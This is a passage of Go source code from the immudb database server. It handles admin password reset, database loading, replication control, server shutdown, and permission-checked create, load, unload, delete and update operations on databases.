overwrite it to avoid unnecessary\n\t\t// transactions in systemdb\n\t\treturn false, nil\n\t}\n\n\t_, err = adminUser.SetPassword([]byte(adminPassword))\n\tif err != nil {\n\t\treturn false, err\n\t}\n\n\terr = s.saveUser(ctx, adminUser)\n\tif err != nil {\n\t\treturn false, err\n\t}\n\n\treturn true, nil\n}\n\nfunc (s *ImmuServer) loadSystemDatabase(\n\tdataDir string,\n\tremoteStorage remotestorage.Storage,\n\tadminPassword string,\n\tforceAdminPasswordReset bool,\n) error {\n\tif s.dbList.Length() != 0 {\n\t\tpanic(\"loadSystemDatabase should be called before any other database loading\")\n\t}\n\n\tdbOpts, err := s.loadDBOptions(s.Options.GetSystemAdminDBName(), false)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"%w: while loading '%s' database settings\", err, s.Options.GetSystemAdminDBName())\n\t}\n\n\tsystemDBRootDir := s.OS.Join(dataDir, s.Options.GetSystemAdminDBName())\n\t_, err = s.OS.Stat(systemDBRootDir)\n\tif err == nil {\n\t\ts.sysDB, err = database.OpenDB(dbOpts.Database, s.multidbHandler(), s.databaseOptionsFrom(dbOpts), s.Logger)\n\t\tif err != nil {\n\t\t\ts.Logger.Errorf(\"database '%s' was not correctly initialized.\\n\"+\"Use replication to recover from external source or start without data folder.\", dbOpts.Database)\n\t\t\treturn err\n\t\t}\n\n\t\tif forceAdminPasswordReset {\n\t\t\tchanged, err := s.resetAdminPassword(context.Background(), adminPassword)\n\t\t\tif err != nil {\n\t\t\t\ts.Logger.Errorf(\"can not reset admin password, %v\", err)\n\t\t\t\treturn ErrCantUpdateAdminPassword\n\t\t\t}\n\n\t\t\tif changed {\n\t\t\t\ts.Logger.Warningf(\"admin password was reset to the value specified in options\")\n\t\t\t} else {\n\t\t\t\ts.Logger.Infof(\"admin password update was not needed\")\n\t\t\t}\n\n\t\t} else if adminPassword != auth.SysAdminPassword {\n\t\t\t// Add warning that the password is not changed even though manually specified\n\t\t\tuser, err := s.getUser(context.Background(), []byte(auth.SysAdminUsername))\n\t\t\tif err != nil {\n\t\t\t\ts.Logger.Errorf(\"can not validate admin user: %v\", err)\n\t\t\t\treturn err\n\t\t\t}\n\t\t\terr = user.ComparePasswords([]byte(adminPassword))\n\t\t\tif err != nil {\n\t\t\t\ts.Logger.Warningf(\n\t\t\t\t\t\"admin password was not updated, \" +\n\t\t\t\t\t\t\"use the force-admin-password option to forcibly reset it\",\n\t\t\t\t)\n\t\t\t}\n\t\t}\n\n\t\tif dbOpts.isReplicatorRequired() {\n\t\t\terr = s.startReplicationFor(s.sysDB, dbOpts)\n\t\t\tif err != nil {\n\t\t\t\ts.Logger.Errorf(\"error starting replication for database '%s'. Reason: %v\", s.sysDB.GetName(), err)\n\t\t\t}\n\t\t}\n\n\t\treturn nil\n\t}\n\n\tif !s.OS.IsNotExist(err) {\n\t\treturn err\n\t}\n\n\ts.sysDB, err = database.NewDB(dbOpts.Database, s.multidbHandler(), s.databaseOptionsFrom(dbOpts), s.Logger)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t//sys admin can have an empty array of databases as it has full access\n\tif !s.sysDB.IsReplica() {\n\t\ts.sysDB.SetSyncReplication(false)\n\n\t\tadminUsername, _, err := s.insertNewUser(context.Background(), []byte(auth.SysAdminUsername), []byte(adminPassword), auth.PermissionSysAdmin, \"*\", \"\")\n\t\tif err != nil {\n\t\t\treturn logErr(s.Logger, \"%v\", err)\n\t\t}\n\n\t\tif s.Options.ReplicationOptions.SyncReplication {\n\t\t\ts.sysDB.SetSyncReplication(true)\n\t\t}\n\n\t\ts.Logger.Infof(\"admin user '%s' successfully created\", adminUsername)\n\t}\n\n\tif dbOpts.isReplicatorRequired() {\n\t\terr = s.startReplicationFor(s.sysDB, dbOpts)\n\t\tif err != nil {\n\t\t\ts.Logger.Errorf(\"error starting replication for database '%s'. Reason: %v\", s.sysDB.GetName(), err)\n\t\t}\n\t}\n\n\treturn nil\n}\n\n// loadDefaultDatabase\nfunc (s *ImmuServer) loadDefaultDatabase(dataDir string, remoteStorage remotestorage.Storage) error {\n\tif s.dbList.Length() != 0 {\n\t\tpanic(\"loadDefaultDatabase should be called right after loading systemDatabase\")\n\t}\n\n\tdbOpts, err := s.loadDBOptions(s.Options.GetDefaultDBName(), false)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"%w: while loading '%s' database settings\", err, s.Options.GetDefaultDBName())\n\t}\n\n\tdefaultDbRootDir := s.OS.Join(dataDir, s.Options.GetDefaultDBName())\n\n\t_, err = s.OS.Stat(defaultDbRootDir)\n\tif err == nil {\n\t\tdb := s.dbList.Put(dbOpts.Database, s.databaseOptionsFrom(dbOpts))\n\n\t\tif dbOpts.isReplicatorRequired() {\n\t\t\terr = s.startReplicationFor(db, dbOpts)\n\t\t\tif err != nil {\n\t\t\t\ts.Logger.Errorf(\"error starting replication for database '%s'. Reason: %v\", db.GetName(), err)\n\t\t\t}\n\t\t}\n\n\t\treturn nil\n\t}\n\n\tif !s.OS.IsNotExist(err) {\n\t\treturn err\n\t}\n\n\topts := s.databaseOptionsFrom(dbOpts)\n\tos.MkdirAll(path.Join(opts.GetDBRootPath(), dbOpts.Database), os.ModePerm)\n\n\tdb := s.dbList.Put(dbOpts.Database, opts)\n\n\tif dbOpts.isReplicatorRequired() {\n\t\terr = s.startReplicationFor(db, dbOpts)\n\t\tif err != nil {\n\t\t\ts.Logger.Errorf(\"error starting replication for database '%s'. Reason: %v\", db.GetName(), err)\n\t\t}\n\t}\n\n\treturn nil\n}\n\nfunc (s *ImmuServer) loadUserDatabases(dataDir string, remoteStorage remotestorage.Storage) error {\n\tvar dirs []string\n\n\t//get first level sub directories of data dir\n\tfiles, err := ioutil.ReadDir(s.Options.Dir)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tfor _, f := range files {\n\t\tif !f.IsDir() ||\n\t\t\tf.Name() == s.Options.GetSystemAdminDBName() ||\n\t\t\tf.Name() == s.Options.GetDefaultDBName() ||\n\t\t\tf.Name() == s.Options.LogDir {\n\t\t\tcontinue\n\t\t}\n\n\t\tdirs = append(dirs, f.Name())\n\t}\n\n\t// load databases that are inside each directory\n\tfor _, val := range dirs {\n\t\t//dbname is the directory name where it is stored\n\t\t//path iteration above stores the directories as data/db_name\n\t\tpathparts := strings.Split(val, string(filepath.Separator))\n\t\tdbname := pathparts[len(pathparts)-1]\n\n\t\tdbOpts, err := s.loadDBOptions(dbname, true)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\ts.logDBOptions(dbname, dbOpts)\n\n\t\tvar db database.DB\n\t\tif dbOpts.Autoload.isEnabled() {\n\t\t\tdb = s.dbList.Put(dbname, s.databaseOptionsFrom(dbOpts))\n\t\t} else {\n\t\t\ts.Logger.Infof(\"database '%s' is closed (autoload is disabled)\", dbname)\n\t\t\ts.dbList.PutClosed(dbname, s.databaseOptionsFrom(dbOpts))\n\t\t\tcontinue\n\t\t}\n\n\t\tif dbOpts.isReplicatorRequired() {\n\t\t\terr = s.startReplicationFor(db, dbOpts)\n\t\t\tif err != nil {\n\t\t\t\ts.Logger.Errorf(\"error starting replication for database '%s'. Reason: %v\", db.GetName(), err)\n\t\t\t}\n\t\t}\n\n\t\tif dbOpts.isDataRetentionEnabled() {\n\t\t\terr = s.startTruncatorFor(db, dbOpts)\n\t\t\tif err != nil {\n\t\t\t\ts.Logger.Errorf(\"error starting truncation for database '%s'. Reason: %v\", db.GetName(), err)\n\t\t\t}\n\t\t}\n\t}\n\n\treturn nil\n}\n\nfunc (s *ImmuServer) replicationInProgressFor(db string) bool {\n\ts.replicationMutex.Lock()\n\tdefer s.replicationMutex.Unlock()\n\n\t_, ok := s.replicators[db]\n\treturn ok\n}\n\nfunc (s *ImmuServer) startReplicationFor(db database.DB, dbOpts *dbOptions) error {\n\tif !dbOpts.isReplicatorRequired() {\n\t\ts.Logger.Infof(\"replication for database '%s' is not required.\", db.GetName())\n\t\treturn ErrReplicatorNotNeeded\n\t}\n\n\ts.replicationMutex.Lock()\n\tdefer s.replicationMutex.Unlock()\n\n\treplicatorOpts := replication.DefaultOptions().\n\t\tWithPrimaryDatabase(dbOpts.PrimaryDatabase).\n\t\tWithPrimaryHost(dbOpts.PrimaryHost).\n\t\tWithPrimaryPort(dbOpts.PrimaryPort).\n\t\tWithPrimaryUsername(dbOpts.PrimaryUsername).\n\t\tWithPrimaryPassword(dbOpts.PrimaryPassword).\n\t\tWithPrefetchTxBufferSize(dbOpts.PrefetchTxBufferSize).\n\t\tWithReplicationCommitConcurrency(dbOpts.ReplicationCommitConcurrency).\n\t\tWithAllowTxDiscarding(dbOpts.AllowTxDiscarding).\n\t\tWithSkipIntegrityCheck(dbOpts.SkipIntegrityCheck).\n\t\tWithWaitForIndexing(dbOpts.WaitForIndexing).\n\t\tWithStreamChunkSize(s.Options.StreamChunkSize)\n\n\tf, err := replication.NewTxReplicator(s.UUID, db, replicatorOpts, s.Logger)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\terr = f.Start()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\ts.replicators[db.GetName()] = f\n\n\treturn nil\n}\n\nfunc (s *ImmuServer) stopReplicationFor(db string) error {\n\ts.replicationMutex.Lock()\n\tdefer s.replicationMutex.Unlock()\n\n\treplicator, ok := s.replicators[db]\n\tif !ok {\n\t\treturn ErrReplicationNotInProgress\n\t}\n\n\terr := replicator.Stop()\n\tif err == replication.ErrAlreadyStopped {\n\t\treturn nil\n\t}\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tdelete(s.replicators, db)\n\n\treturn nil\n}\n\nfunc (s *ImmuServer) stopReplication() {\n\ts.replicationMutex.Lock()\n\tdefer s.replicationMutex.Unlock()\n\n\tfor db, f := range s.replicators {\n\t\terr := f.Stop()\n\t\tif err != nil {\n\t\t\ts.Logger.Warningf(\"error stopping replication for '%s'. Reason: %v\", db, err)\n\t\t}\n\t}\n}\n\n// Stop stops the immudb server\nfunc (s *ImmuServer) Stop() error {\n\ts.mux.Lock()\n\tdefer s.mux.Unlock()\n\n\ts.Logger.Infof(\"stopping immudb:\\n%v\", s.Options)\n\n\tdefer func() { s.quit <- struct{}{} }()\n\n\tif !s.Options.usingCustomListener {\n\t\ts.GrpcServer.Stop()\n\t\tdefer func() { s.GrpcServer = nil }()\n\t}\n\n\ts.SessManager.StopSessionsGuard()\n\n\ts.stopReplication()\n\n\ts.stopTruncation()\n\n\treturn s.CloseDatabases()\n}\n\n// CloseDatabases closes all opened databases including the consinstency checker\nfunc (s *ImmuServer) CloseDatabases() error {\n\tctx, cancel := context.WithTimeout(context.Background(), time.Second*10)\n\tdefer cancel()\n\n\tif err := s.dbList.CloseAll(ctx); err != nil {\n\t\treturn err\n\t}\n\n\tif s.sysDB != nil {\n\t\ts.sysDB.Close()\n\t}\n\treturn nil\n}\n\nfunc (s *ImmuServer) updateConfigItem(key string, newOrUpdatedLine string, unchanged func(string) bool) error {\n\tconfigFilepath := s.Options.Config\n\n\tif strings.TrimSpace(configFilepath) == \"\" {\n\t\treturn fmt.Errorf(\"config file does not exist\")\n\t}\n\n\tconfigBytes, err := s.OS.ReadFile(configFilepath)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"error reading config file '%s'. Reason: %v\", configFilepath, err)\n\t}\n\n\tconfigLines := strings.Split(string(configBytes), \"\\n\")\n\n\twrite := false\n\tfor i, l := range configLines {\n\t\tl = strings.TrimSpace(l)\n\t\tif strings.HasPrefix(l, key+\"=\") || strings.HasPrefix(l, key+\" =\") {\n\t\t\tkv := strings.Split(l, \"=\")\n\t\t\tif unchanged(kv[1]) {\n\t\t\t\treturn fmt.Errorf(\"server config already has '%s'\", newOrUpdatedLine)\n\t\t\t}\n\t\t\tconfigLines[i] = newOrUpdatedLine\n\t\t\twrite = true\n\t\t\tbreak\n\t\t}\n\t}\n\n\tif !write {\n\t\tconfigLines = append(configLines, newOrUpdatedLine)\n\t}\n\n\tif err := s.OS.WriteFile(configFilepath, []byte(strings.Join(configLines, \"\\n\")), 0644); err != nil {\n\t\treturn err\n\t}\n\n\treturn nil\n}\n\n// UpdateAuthConfig is DEPRECATED\nfunc (s *ImmuServer) UpdateAuthConfig(ctx context.Context, req *schema.AuthConfig) (*empty.Empty, error) {\n\treturn nil, ErrNotSupported\n}\n\n// UpdateMTLSConfig is DEPRECATED\nfunc (s *ImmuServer) UpdateMTLSConfig(ctx context.Context, req *schema.MTLSConfig) (*empty.Empty, error) {\n\treturn nil, ErrNotSupported\n}\n\n// ServerInfo returns information about the server instance.\nfunc (s *ImmuServer) ServerInfo(ctx context.Context, req *schema.ServerInfoRequest) (*schema.ServerInfoResponse, error) {\n\tdbSize, err := s.totalDBSize()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tnumTransactions, err := s.numTransactions()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn &schema.ServerInfoResponse{\n\t\tVersion:           version.Version,\n\t\tStartedAt:         startedAt.Unix(),\n\t\tNumTransactions:   int64(numTransactions),\n\t\tNumDatabases:      int32(s.dbList.Length()),\n\t\tDatabasesDiskSize: dbSize,\n\t}, err\n}\n\nfunc (s *ImmuServer) numTransactions() (uint64, error) {\n\ts.dbListMutex.Lock()\n\tdefer s.dbListMutex.Unlock()\n\n\tvar count uint64\n\tfor i := 0; i < s.dbList.Length(); i++ {\n\t\tdb, err := s.dbList.GetByIndex(i)\n\t\tif err == database.ErrDatabaseNotExists {\n\t\t\tcontinue\n\t\t}\n\t\tif err != nil {\n\t\t\treturn 0, err\n\t\t}\n\n\t\tstate, err := db.CurrentState()\n\t\tif err != nil {\n\t\t\treturn 0, err\n\t\t}\n\t\tcount += state.TxId\n\t}\n\treturn count, nil\n}\n\nfunc (s *ImmuServer) totalDBSize() (int64, error) {\n\ts.dbListMutex.Lock()\n\tdefer s.dbListMutex.Unlock()\n\n\tvar size int64\n\tfor i := 0; i < s.dbList.Length(); i++ {\n\t\tdb, err := s.dbList.GetByIndex(i)\n\t\tif err == database.ErrDatabaseNotExists {\n\t\t\tcontinue\n\t\t}\n\t\tif err != nil {\n\t\t\treturn -1, err\n\t\t}\n\n\t\tdbName := db.GetName()\n\t\tdbSize, err := dirSize(filepath.Join(s.Options.Dir, dbName))\n\t\tif err != nil {\n\t\t\treturn -1, err\n\t\t}\n\t\tsize += int64(dbSize)\n\t}\n\treturn size, nil\n}\n\n// Health ...\nfunc (s *ImmuServer) Health(ctx context.Context, _ *empty.Empty) (*schema.HealthResponse, error) {\n\treturn &schema.HealthResponse{Status: true, Version: Version.Version}, nil\n}\n\nfunc (s *ImmuServer) installShutdownHandler() {\n\tc := make(chan os.Signal, 1)\n\tsignal.Notify(c, os.Interrupt, syscall.SIGTERM)\n\n\tgo func() {\n\t\t<-c\n\t\ts.Logger.Infof(\"caught SIGTERM\")\n\t\tif err := s.Stop(); err != nil {\n\t\t\ts.Logger.Errorf(\"shutdown error: %v\", err)\n\t\t}\n\t\ts.Logger.Infof(\"shutdown completed\")\n\t}()\n}\n\n// CreateDatabase Create a new database instance\nfunc (s *ImmuServer) CreateDatabase(ctx context.Context, req *schema.Database) (*empty.Empty, error) {\n\tif req == nil {\n\t\treturn nil, ErrIllegalArguments\n\t}\n\n\t_, err := s.CreateDatabaseV2(ctx, &schema.CreateDatabaseRequest{Name: req.DatabaseName})\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn &empty.Empty{}, nil\n}\n\n// CreateDatabaseWith Create a new database instance\nfunc (s *ImmuServer) CreateDatabaseWith(ctx context.Context, req *schema.DatabaseSettings) (*empty.Empty, error) {\n\tif req == nil {\n\t\treturn nil, ErrIllegalArguments\n\t}\n\n\t_, err := s.CreateDatabaseV2(ctx, &schema.CreateDatabaseRequest{\n\t\tName:     req.DatabaseName,\n\t\tSettings: dbSettingsToDBNullableSettings(req),\n\t})\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn &empty.Empty{}, nil\n}\n\n// CreateDatabaseV2 Create a new database instance\nfunc (s *ImmuServer) CreateDatabaseV2(ctx context.Context, req *schema.CreateDatabaseRequest) (res *schema.CreateDatabaseResponse, err error) {\n\tif req == nil {\n\t\treturn nil, ErrIllegalArguments\n\t}\n\n\ts.Logger.Infof(\"creating database '%s'...\", req.Name)\n\n\tdefer func() {\n\t\tif err == nil {\n\t\t\ts.Logger.Infof(\"database '%s' successfully created\", req.Name)\n\t\t} else {\n\t\t\ts.Logger.Infof(\"database '%s' could not be created. Reason: %v\", req.Name, err)\n\t\t}\n\t}()\n\n\tif s.Options.GetMaintenance() {\n\t\treturn nil, ErrNotAllowedInMaintenanceMode\n\t}\n\n\tif !s.Options.GetAuth() {\n\t\treturn nil, ErrAuthMustBeEnabled\n\t}\n\n\t_, user, err := s.getLoggedInUserdataFromCtx(ctx)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"could not get loggedin user data\")\n\t}\n\n\tif !user.IsSysAdmin {\n\t\treturn nil, fmt.Errorf(\"loggedin user does not have permissions for this operation\")\n\t}\n\n\tif req.Name == s.Options.defaultDBName || req.Name == s.Options.systemAdminDBName {\n\t\treturn nil, ErrReservedDatabase\n\t}\n\n\treq.Name = strings.ToLower(req.Name)\n\tif err = isValidDBName(req.Name); err != nil {\n\t\treturn nil, err\n\t}\n\n\ts.dbListMutex.Lock()\n\tdefer s.dbListMutex.Unlock()\n\n\t// check if database exists\n\tif s.dbList.GetId(req.Name) >= 0 {\n\t\tif !req.IfNotExists {\n\t\t\treturn nil, database.ErrDatabaseAlreadyExists\n\t\t}\n\n\t\tdbOpts, err := s.loadDBOptions(req.Name, false)\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"%w: while loading database settings\", err)\n\t\t}\n\n\t\treturn &schema.CreateDatabaseResponse{\n\t\t\tName:           req.Name,\n\t\t\tSettings:       dbOpts.databaseNullableSettings(),\n\t\t\tAlreadyExisted: true,\n\t\t}, nil\n\t}\n\n\tdbOpts := s.defaultDBOptions(req.Name, user.Username)\n\n\tif req.Settings != nil {\n\t\terr = s.overwriteWith(dbOpts, req.Settings, false)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\n\terr = s.saveDBOptions(dbOpts)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\topts := s.databaseOptionsFrom(dbOpts)\n\tos.MkdirAll(path.Join(opts.GetDBRootPath(), dbOpts.Database), os.ModePerm)\n\tdb := s.dbList.Put(dbOpts.Database, s.databaseOptionsFrom(dbOpts))\n\n\ts.multidbmode = true\n\n\ts.logDBOptions(db.GetName(), dbOpts)\n\n\terr = s.startReplicationFor(db, dbOpts)\n\tif err != nil && err != ErrReplicatorNotNeeded {\n\t\treturn nil, fmt.Errorf(\"%w: while starting replication\", err)\n\t}\n\n\terr = s.startTruncatorFor(db, dbOpts)\n\tif err != nil && err != ErrTruncatorNotNeeded {\n\t\treturn nil, fmt.Errorf(\"%w: while starting truncation\", err)\n\t}\n\n\treturn &schema.CreateDatabaseResponse{\n\t\tName:     req.Name,\n\t\tSettings: dbOpts.databaseNullableSettings(),\n\t}, nil\n}\n\nfunc (s *ImmuServer) LoadDatabase(ctx context.Context, req *schema.LoadDatabaseRequest) (res *schema.LoadDatabaseResponse, err error) {\n\tif req == nil {\n\t\treturn nil, ErrIllegalArguments\n\t}\n\n\ts.Logger.Infof(\"loading database '%s'...\", req.Database)\n\n\tdefer func() {\n\t\tif err == nil {\n\t\t\ts.Logger.Infof(\"database '%s' successfully loaded\", req.Database)\n\t\t} else {\n\t\t\ts.Logger.Infof(\"database '%s' could not be loaded. Reason: %v\", req.Database, err)\n\t\t}\n\t}()\n\n\tif req.Database == s.Options.defaultDBName || req.Database == s.Options.systemAdminDBName {\n\t\treturn nil, ErrReservedDatabase\n\t}\n\n\tif !s.Options.GetAuth() {\n\t\treturn nil, ErrAuthMustBeEnabled\n\t}\n\n\t_, user, err := s.getLoggedInUserdataFromCtx(ctx)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"could not get loggedin user data\")\n\t}\n\n\t//if the requesting user has admin permission on this database\n\tif (!user.IsSysAdmin) &&\n\t\t(!user.HasPermission(req.Database, auth.PermissionAdmin)) {\n\t\treturn nil, fmt.Errorf(\"the database '%s' does not exist or you do not have admin permission on this database\", req.Database)\n\t}\n\n\ts.dbListMutex.Lock()\n\tdefer s.dbListMutex.Unlock()\n\n\tdb, err := s.dbList.GetByName(req.Database)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tif !db.IsClosed() {\n\t\treturn nil, ErrDatabaseAlreadyLoaded\n\t}\n\n\tdbOpts, err := s.loadDBOptions(req.Database, false)\n\tif err == store.ErrKeyNotFound {\n\t\treturn nil, fmt.Errorf(\"%w: while opening database '%s'\", database.ErrDatabaseNotExists, req.Database)\n\t}\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"%w: while loading database settings\", err)\n\t}\n\n\ts.dbList.Put(req.Database, s.databaseOptionsFrom(dbOpts))\n\n\tif dbOpts.isReplicatorRequired() {\n\t\terr = s.startReplicationFor(db, dbOpts)\n\t\tif err != nil && err != ErrReplicatorNotNeeded {\n\t\t\treturn nil, fmt.Errorf(\"%w: while starting replication\", err)\n\t\t}\n\t}\n\n\terr = s.startTruncatorFor(db, dbOpts)\n\tif err != nil && err != ErrTruncatorNotNeeded {\n\t\treturn nil, fmt.Errorf(\"%w: while starting truncation\", err)\n\t}\n\n\treturn &schema.LoadDatabaseResponse{\n\t\tDatabase: req.Database,\n\t}, nil\n}\n\nfunc (s *ImmuServer) UnloadDatabase(ctx context.Context, req *schema.UnloadDatabaseRequest) (res *schema.UnloadDatabaseResponse, err error) {\n\tif req == nil {\n\t\treturn nil, ErrIllegalArguments\n\t}\n\n\ts.Logger.Infof(\"unloading database '%s'...\", req.Database)\n\n\tdefer func() {\n\t\tif err == nil {\n\t\t\ts.Logger.Infof(\"database '%s' successfully unloaded\", req.Database)\n\t\t} else {\n\t\t\ts.Logger.Infof(\"database '%s' could not be unloaded. Reason: %v\", req.Database, err)\n\t\t}\n\t}()\n\n\tif req.Database == s.Options.defaultDBName || req.Database == s.Options.systemAdminDBName {\n\t\treturn nil, ErrReservedDatabase\n\t}\n\n\tif !s.Options.GetAuth() {\n\t\treturn nil, ErrAuthMustBeEnabled\n\t}\n\n\t_, user, err := s.getLoggedInUserdataFromCtx(ctx)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"could not get loggedin user data\")\n\t}\n\n\t//if the requesting user has admin permission on this database\n\tif (!user.IsSysAdmin) &&\n\t\t(!user.HasPermission(req.Database, auth.PermissionAdmin)) {\n\t\treturn nil, fmt.Errorf(\"the database '%s' does not exist or you do not have admin permission on this database\", req.Database)\n\t}\n\n\ts.dbListMutex.Lock()\n\tdefer s.dbListMutex.Unlock()\n\n\tdb, err := s.dbList.GetByName(req.Database)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tif db.IsClosed() {\n\t\treturn nil, store.ErrAlreadyClosed\n\t}\n\n\tdbOpts, err := s.loadDBOptions(req.Database, false)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"%w: while reading database settings\", err)\n\t}\n\n\tif dbOpts.isReplicatorRequired() {\n\t\terr = s.stopReplicationFor(req.Database)\n\t\tif err != nil && err != ErrReplicationNotInProgress {\n\t\t\treturn nil, fmt.Errorf(\"%w: while stopping replication\", err)\n\t\t}\n\t}\n\n\tif dbOpts.isDataRetentionEnabled() {\n\t\terr = s.stopTruncatorFor(req.Database)\n\t\tif err != nil && err != ErrTruncatorNotInProgress {\n\t\t\treturn nil, fmt.Errorf(\"%w: while stopping truncation\", err)\n\t\t}\n\t}\n\n\terr = db.Close()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn &schema.UnloadDatabaseResponse{\n\t\tDatabase: req.Database,\n\t}, nil\n}\n\nfunc (s *ImmuServer) DeleteDatabase(ctx context.Context, req *schema.DeleteDatabaseRequest) (res *schema.DeleteDatabaseResponse, err error) {\n\tif req == nil {\n\t\treturn nil, ErrIllegalArguments\n\t}\n\n\ts.Logger.Infof(\"deleting database '%s'...\", req.Database)\n\n\tdefer func() {\n\t\tif err == nil {\n\t\t\ts.Logger.Infof(\"database '%s' successfully deleted\", req.Database)\n\t\t} else {\n\t\t\ts.Logger.Infof(\"database '%s' could not be deleted. Reason: %v\", req.Database, err)\n\t\t}\n\t}()\n\n\tif !s.Options.GetAuth() {\n\t\treturn nil, ErrAuthMustBeEnabled\n\t}\n\n\tif req.Database == s.Options.defaultDBName || req.Database == s.Options.systemAdminDBName {\n\t\treturn nil, ErrReservedDatabase\n\t}\n\n\t_, user, err := s.getLoggedInUserdataFromCtx(ctx)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"could not get loggedin user data\")\n\t}\n\n\t//if the requesting user has admin permission on this database\n\tif (!user.IsSysAdmin) &&\n\t\t(!user.HasPermission(req.Database, auth.PermissionAdmin)) {\n\t\treturn nil, fmt.Errorf(\"the database '%s' does not exist or you do not have admin permission on this database\", req.Database)\n\t}\n\n\ts.dbListMutex.Lock()\n\tdefer s.dbListMutex.Unlock()\n\n\tdb, err := s.dbList.Delete(req.Database)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\terr = s.deleteDBOptionsFor(req.Database)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\terr = os.RemoveAll(db.Path())\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn &schema.DeleteDatabaseResponse{\n\t\tDatabase: req.Database,\n\t}, nil\n}\n\n// UpdateDatabase Updates database settings\nfunc (s *ImmuServer) UpdateDatabase(ctx context.Context, req *schema.DatabaseSettings) (*empty.Empty, error) {\n\tif req == nil {\n\t\treturn nil, ErrIllegalArguments\n\t}\n\n\t_, err := s.UpdateDatabaseV2(ctx, &schema.UpdateDatabaseRequest{\n\t\tDatabase: req.DatabaseName,\n\t\tSettings: dbSettingsToDBNullableSettings(req),\n\t})\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn &empty.Empty{}, nil\n}\n\n// UpdateDatabaseV2 Updates database settings\nfunc (s *ImmuServer) UpdateDatabaseV2(ctx context.Context, req *schema.UpdateDatabaseRequest) (res *schema.UpdateDatabaseResponse, err error) {\n\tif req == nil {\n\t\treturn nil, ErrIllegalArguments\n\t}\n\n\ts.Logger.Infof(\"updating database settings for '%s'...\", req.Database)\n\n\tdefer func() {\n\t\tif err == nil {\n\t\t\ts.Logger.Infof(\"database '%s' successfully updated\", req.Database)\n\t\t} else {\n\t\t\ts.Logger.Infof(\"database '%s' could not be updated. Reason: %v\", req.Database, err)\n\t\t}\n\t}()\n\n\tif s.Options.GetMaintenance() {\n\t\treturn nil, ErrNotAllowedInMaintenanceMode\n\t}\n\n\tif !s.Options.GetAuth() {\n\t\treturn nil, ErrAuthMustBeEnabled\n\t}\n\n\tif req.Database == s.Options.defaultDBName || req.Database == s.Options.systemAdminDBName {\n\t\treturn nil, ErrReservedDatabase\n\t}\n\n\t_, user, err := s.getLoggedInUserdataFromCtx(ctx)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"could not get loggedin user data\")\n\t}\n\n\t//if the requesting user has admin permission on this database\n\tif (!user.IsSysAdmin) &&\n\t\t(!user.HasPermission(req.Database, auth.PermissionAdmin)) {\n\t\treturn nil, fmt.Errorf(\"the database '%s' does not exist or you do not have admin permission on this database\", req.Database)\n\t}\n\n\ts.dbListMutex.Lock()\n\tdefer s.dbListMutex.Unlock()\n\n\tdbOpts, err := s.loadDBOptions(req.Database, false)\n\tif err == store.ErrKeyNotFound {\n\t\treturn nil, database.ErrDatabaseNotExists\n\t}\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"%w: while loading database settings\", err)\n\t}\n\n\tdb, err := s.dbList.GetByName(req.Database)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tif req.Settings.ReplicationSettings != nil && !db.IsClosed() {\n\t\terr = s.stopReplicationFor(req.Database)\n\t\tif err != nil && err != ErrReplicationNotInProgress {\n\t\t\treturn nil, fmt.Errorf(\"%w: while stopping replication\", err)\n\t\t}\n\t}\n\n\tif req.Settings.TruncationSettings != nil && !db.IsClosed() {\n\t\terr = s.stopTruncatorFor(req.Database)\n\t\tif err != nil && err != ErrTruncatorNotInProgress {\n\t\t\treturn nil, fmt.Errorf(\"%w: while stopping truncation\", err)\n\t\t}\n\t}\n\n\terr = s.overwriteWith(dbOpts, req.Settings, true)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tdbOpts.UpdatedBy = user.Username\n\n\terr = s.saveDBOptions(dbOpts)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"%w: while saving updated settings\", err)\n\t}\n\n\ts.logDBOptions(db.GetName(), dbOpts)\n\n\tif !db.IsClosed() {\n\t\tdb.AsReplica(dbOpts.Replica, dbOpts.SyncReplication, dbOpts.SyncAcks)\n\t}\n\n\tif req.Settings.ReplicationSettings != nil && !db.IsClosed() {\n\t\terr = s.startReplicationFor(db, dbOpts)\n\t\tif err != nil && err != ErrReplicatorNotNeeded {\n\t\t\treturn nil, fmt.Errorf(\"%w: while staring replication\", err)\n\t\t}\n\t}\n\n\tif req.Settings.TruncationSettings != nil && !db.IsClosed() {\n\t\terr = s.startTruncatorFor(db, dbOpts)\n\t\tif err != nil && err != ErrTruncatorNotNeeded {\n\t\t\treturn nil, fmt.Errorf(\"%w: while starting truncation\", err)\n\t\t}\n\t}\n\n\treturn &schema.UpdateDatabaseResponse{\n\t\tDatabase: req.Database,\n\t\tSettings: dbOpts.databaseNullableSettings(),\n\t}, nil\n}\n\nfunc (s *ImmuServer) 